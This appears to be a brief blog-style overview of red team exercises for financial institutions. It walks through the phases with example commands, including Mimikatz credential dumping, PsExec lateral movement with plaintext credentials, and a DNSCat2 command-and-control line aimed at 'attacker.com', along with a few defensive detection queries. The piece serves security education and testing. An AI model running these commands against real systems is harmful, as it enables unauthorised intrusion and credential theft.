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Cyber security attacks against financial institutions (FIs) are evolving rapidly in scope, complexity, and sophistication. To address this risk, FIs deploy defensive measures, solutions, and controls to reduce exposure to attacks and improve response readiness. Adversarial Attack Simulation Exercises (AASE), often referred to as Red Team (RT) exercises, are sanctioned, planned, risk-managed, and objective-driven cyber security assessments that simulate highly sophisticated targeted attacks against an organization.
You Should Know:
1. Red Team Exercise Phases
- Planning & Scoping
- Define objectives, rules of engagement, and legal agreements.
- Identify critical assets and attack surfaces.
- Example command to map network assets:
nmap -sV -p 1-65535 <target_IP> -oN financial_scan.txt
Reconnaissance (Passive & Active)
- Gather intelligence using OSINT tools:
theHarvester -d example.com -b google,linkedin
Extract metadata from documents:
exiftool financial_report.pdf
Attack Simulation
- Phishing simulation with Gophish:
./gophish
Privilege escalation in Windows:
whoami /priv
Post-Exploitation & Lateral Movement
- Dump credentials using Mimikatz:
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Move laterally with PsExec:
psexec \target_host -u admin -p password cmd.exe
Reporting & Remediation
- Generate findings with Dradis Framework:
./bin/dradis start
2. Key Tools for Red Teaming
- C2 Frameworks: Cobalt Strike, Mythic, Sliver
- Privilege Escalation: LinPEAS (Linux), WinPEAS (Windows)
- Traffic Obfuscation: C2 over DNS with DNSCat2
ruby dnscat2.rb --dns domain=attacker.com --secret=key
3. Defensive Countermeasures
- Monitor for unusual processes:
ps aux | grep -i "sh|curl|wget"
- Detect lateral movement in Windows:
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624,4648}
What Undercode Say
Red Team exercises are essential for identifying security gaps before real attackers exploit them. Financial institutions must adopt a proactive approach by continuously testing defenses through simulated attacks. Key takeaways:
– Automate reconnaissance with tools like Recon-ng.
– Restrict unnecessary services to minimize attack surfaces.
– Log and monitor all critical activities using SIEM solutions like Splunk or ELK Stack.
– Train staff to recognize phishing and social engineering attempts.
Expected Output:
A well-documented Red Team report with:
- Executive summary
- Attack path visualization
- Vulnerabilities exploited
- Mitigation strategies
- Recommended security improvements
For further reading, refer to:
References:
Reported By: Https: – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
